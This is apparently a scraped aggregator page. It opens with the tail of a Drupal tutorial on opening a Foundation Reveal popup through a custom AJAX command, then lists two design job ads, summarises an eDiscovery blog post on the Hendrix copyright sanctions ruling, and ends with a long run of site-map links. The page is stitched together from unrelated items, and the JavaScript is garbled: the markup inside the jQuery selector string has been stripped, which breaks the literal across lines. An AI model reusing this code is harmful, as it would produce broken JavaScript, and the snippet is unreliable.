    // An element matching the selector will be added to the page if it does not exist yet.
    var $dialog = $(response.selector);
    if (!$dialog.length) {
      // Foundation expects certain things on a Reveal container.
      $dialog = $('
').appendTo('body'); } if (!ajax.wrapper) { ajax.wrapper = $dialog.attr('id'); } // Get the markup inserted into the page. response.command = 'insert'; response.method = 'html'; ajax.commands.insert(ajax, response, status); // The content is ready, now open the dialog! var popup = new Foundation.Reveal($dialog); popup.open(); }; })(jQuery, Drupal);

There we have it - that last bit of the command opens the Foundation Reveal popup dialog!

I should also add that since I was showing a contact form in the popup, I installed the Contact ajax module. This meant that a site visitor would stay within the popup once they submit the form, which meant for a clean user experience.

Thanks for following along with me!


          Web Designer / Graphic Designer - Big Fat Designs - Wausau, WI      Cache   Translate Page      
Knowledge of PHP and Coldfusion a plus. Big Fat Designs LLC is looking for a Full-Time Designer....
From Big Fat Designs - Mon, 19 Nov 2018 08:13:19 GMT - View all Wausau, WI jobs
          Internship: Web Designer / Graphic Designer / Programmer - Big Fat Designs - Wausau, WI      Cache   Translate Page      
Knowledge of PHP and Coldfusion a plus. Big Fat Designs LLC is looking for a Part-Time Designer and/or College Interns....
From Big Fat Designs - Mon, 19 Nov 2018 08:13:19 GMT - View all Wausau, WI jobs
          Court Sanctions Defendants in Jimi Hendrix Copyright Infringement Case: eDiscovery Case Law      Cache   Translate Page      
In Experience Hendrix, L.L.C. et al. v. Pitsicalis et al., No. 17 Civ. 1927 (PAE) (S.D.N.Y. Nov. 28, 2018), New York District Judge Paul A. Engelmayer granted the plaintiffs’ motion for an adverse inference instruction against selected defendants associated with Purple Haze Properties (referred to as the “PHP defendants”) and he directed the PHP defendants to pay the reasonable fees and costs incurred by plaintiffs in bringing the motion.  He denied (at least at this time) the...Read the whole entry... »       Related StoriesCourt Orders Defendants to Resubmit Production of “Inferior” Quality Documents: eDiscovery Case LawHere’s a Terrific Scorecard for Mobile Evidence Discovery: eDiscovery Best PracticesJudge Recommends Sanctions for Defendant Under FRCP 37(e)(1): eDiscovery Case Law 


Next Page: 10000

Site Map 2018_01_14
Site Map 2018_01_15
Site Map 2018_01_16
Site Map 2018_01_17
Site Map 2018_01_18
Site Map 2018_01_19
Site Map 2018_01_20
Site Map 2018_01_21
Site Map 2018_01_22
Site Map 2018_01_23
Site Map 2018_01_24
Site Map 2018_01_25
Site Map 2018_01_26
Site Map 2018_01_27
Site Map 2018_01_28
Site Map 2018_01_29
Site Map 2018_01_30
Site Map 2018_01_31
Site Map 2018_02_01
Site Map 2018_02_02
Site Map 2018_02_03
Site Map 2018_02_04
Site Map 2018_02_05
Site Map 2018_02_06
Site Map 2018_02_07
Site Map 2018_02_08
Site Map 2018_02_09
Site Map 2018_02_10
Site Map 2018_02_11
Site Map 2018_02_12
Site Map 2018_02_13
Site Map 2018_02_14
Site Map 2018_02_15
Site Map 2018_02_15
Site Map 2018_02_16
Site Map 2018_02_17
Site Map 2018_02_18
Site Map 2018_02_19
Site Map 2018_02_20
Site Map 2018_02_21
Site Map 2018_02_22
Site Map 2018_02_23
Site Map 2018_02_24
Site Map 2018_02_25
Site Map 2018_02_26
Site Map 2018_02_27
Site Map 2018_02_28
Site Map 2018_03_01
Site Map 2018_03_02
Site Map 2018_03_03
Site Map 2018_03_04
Site Map 2018_03_05
Site Map 2018_03_06
Site Map 2018_03_07
Site Map 2018_03_08
Site Map 2018_03_09
Site Map 2018_03_10
Site Map 2018_03_11
Site Map 2018_03_12
Site Map 2018_03_13
Site Map 2018_03_14
Site Map 2018_03_15
Site Map 2018_03_16
Site Map 2018_03_17
Site Map 2018_03_18
Site Map 2018_03_19
Site Map 2018_03_20
Site Map 2018_03_21
Site Map 2018_03_22
Site Map 2018_03_23
Site Map 2018_03_24
Site Map 2018_03_25
Site Map 2018_03_26
Site Map 2018_03_27
Site Map 2018_03_28
Site Map 2018_03_29
Site Map 2018_03_30
Site Map 2018_03_31
Site Map 2018_04_01
Site Map 2018_04_02
Site Map 2018_04_03
Site Map 2018_04_04
Site Map 2018_04_05
Site Map 2018_04_06
Site Map 2018_04_07
Site Map 2018_04_08
Site Map 2018_04_09
Site Map 2018_04_10
Site Map 2018_04_11
Site Map 2018_04_12
Site Map 2018_04_13
Site Map 2018_04_14
Site Map 2018_04_15
Site Map 2018_04_16
Site Map 2018_04_17
Site Map 2018_04_18
Site Map 2018_04_19
Site Map 2018_04_20
Site Map 2018_04_21
Site Map 2018_04_22
Site Map 2018_04_23
Site Map 2018_04_24
Site Map 2018_04_25
Site Map 2018_04_26
Site Map 2018_04_27
Site Map 2018_04_28
Site Map 2018_04_29
Site Map 2018_04_30
Site Map 2018_05_01
Site Map 2018_05_02
Site Map 2018_05_03
Site Map 2018_05_04
Site Map 2018_05_05
Site Map 2018_05_06
Site Map 2018_05_07
Site Map 2018_05_08
Site Map 2018_05_09
Site Map 2018_05_15
Site Map 2018_05_16
Site Map 2018_05_17
Site Map 2018_05_18
Site Map 2018_05_19
Site Map 2018_05_20
Site Map 2018_05_21
Site Map 2018_05_22
Site Map 2018_05_23
Site Map 2018_05_24
Site Map 2018_05_25
Site Map 2018_05_26
Site Map 2018_05_27
Site Map 2018_05_28
Site Map 2018_05_29
Site Map 2018_05_30
Site Map 2018_05_31
Site Map 2018_06_01
Site Map 2018_06_02
Site Map 2018_06_03
Site Map 2018_06_04
Site Map 2018_06_05
Site Map 2018_06_06
Site Map 2018_06_07
Site Map 2018_06_08
Site Map 2018_06_09
Site Map 2018_06_10
Site Map 2018_06_11
Site Map 2018_06_12
Site Map 2018_06_13
Site Map 2018_06_14
Site Map 2018_06_15
Site Map 2018_06_16
Site Map 2018_06_17
Site Map 2018_06_18
Site Map 2018_06_19
Site Map 2018_06_20
Site Map 2018_06_21
Site Map 2018_06_22
Site Map 2018_06_23
Site Map 2018_06_24
Site Map 2018_06_25
Site Map 2018_06_26
Site Map 2018_06_27
Site Map 2018_06_28
Site Map 2018_06_29
Site Map 2018_06_30
Site Map 2018_07_01
Site Map 2018_07_02
Site Map 2018_07_03
Site Map 2018_07_04
Site Map 2018_07_05
Site Map 2018_07_06
Site Map 2018_07_07
Site Map 2018_07_08
Site Map 2018_07_09
Site Map 2018_07_10
Site Map 2018_07_11
Site Map 2018_07_12
Site Map 2018_07_13
Site Map 2018_07_14
Site Map 2018_07_15
Site Map 2018_07_16
Site Map 2018_07_17
Site Map 2018_07_18
Site Map 2018_07_19
Site Map 2018_07_20
Site Map 2018_07_21
Site Map 2018_07_22
Site Map 2018_07_23
Site Map 2018_07_24
Site Map 2018_07_25
Site Map 2018_07_26
Site Map 2018_07_27
Site Map 2018_07_28
Site Map 2018_07_29
Site Map 2018_07_30
Site Map 2018_07_31
Site Map 2018_08_01
Site Map 2018_08_02
Site Map 2018_08_03
Site Map 2018_08_04
Site Map 2018_08_05
Site Map 2018_08_06
Site Map 2018_08_07
Site Map 2018_08_08
Site Map 2018_08_09
Site Map 2018_08_10
Site Map 2018_08_11
Site Map 2018_08_12
Site Map 2018_08_13
Site Map 2018_08_15
Site Map 2018_08_16
Site Map 2018_08_17
Site Map 2018_08_18
Site Map 2018_08_19
Site Map 2018_08_20
Site Map 2018_08_21
Site Map 2018_08_22
Site Map 2018_08_23
Site Map 2018_08_24
Site Map 2018_08_25
Site Map 2018_08_26
Site Map 2018_08_27
Site Map 2018_08_28
Site Map 2018_08_29
Site Map 2018_08_30
Site Map 2018_08_31
Site Map 2018_09_01
Site Map 2018_09_02
Site Map 2018_09_03
Site Map 2018_09_04
Site Map 2018_09_05
Site Map 2018_09_06
Site Map 2018_09_07
Site Map 2018_09_08
Site Map 2018_09_09
Site Map 2018_09_10
Site Map 2018_09_11
Site Map 2018_09_12
Site Map 2018_09_13
Site Map 2018_09_14
Site Map 2018_09_15
Site Map 2018_09_16
Site Map 2018_09_17
Site Map 2018_09_18
Site Map 2018_09_19
Site Map 2018_09_20
Site Map 2018_09_21
Site Map 2018_09_23
Site Map 2018_09_24
Site Map 2018_09_25
Site Map 2018_09_26
Site Map 2018_09_27
Site Map 2018_09_28
Site Map 2018_09_29
Site Map 2018_09_30
Site Map 2018_10_01
Site Map 2018_10_02
Site Map 2018_10_03
Site Map 2018_10_04
Site Map 2018_10_05
Site Map 2018_10_06
Site Map 2018_10_07
Site Map 2018_10_08
Site Map 2018_10_09
Site Map 2018_10_10
Site Map 2018_10_11
Site Map 2018_10_12
Site Map 2018_10_13
Site Map 2018_10_14
Site Map 2018_10_15
Site Map 2018_10_16
Site Map 2018_10_17
Site Map 2018_10_18
Site Map 2018_10_19
Site Map 2018_10_20
Site Map 2018_10_21
Site Map 2018_10_22
Site Map 2018_10_23
Site Map 2018_10_24
Site Map 2018_10_25
Site Map 2018_10_26
Site Map 2018_10_27
Site Map 2018_10_28
Site Map 2018_10_29
Site Map 2018_10_30
Site Map 2018_10_31
Site Map 2018_11_01
Site Map 2018_11_02
Site Map 2018_11_03
Site Map 2018_11_04
Site Map 2018_11_05
Site Map 2018_11_06
Site Map 2018_11_07
Site Map 2018_11_08
Site Map 2018_11_09
Site Map 2018_11_10
Site Map 2018_11_11
Site Map 2018_11_12
Site Map 2018_11_13
Site Map 2018_11_14
Site Map 2018_11_15
Site Map 2018_11_16
Site Map 2018_11_17
Site Map 2018_11_18
Site Map 2018_11_19
Site Map 2018_11_20
Site Map 2018_11_21
Site Map 2018_11_22
Site Map 2018_11_23
Site Map 2018_11_24
Site Map 2018_11_25
Site Map 2018_11_26
Site Map 2018_11_27
Site Map 2018_11_28
Site Map 2018_11_29
Site Map 2018_11_30
Site Map 2018_12_01
Site Map 2018_12_02
Site Map 2018_12_03
Site Map 2018_12_04
Site Map 2018_12_05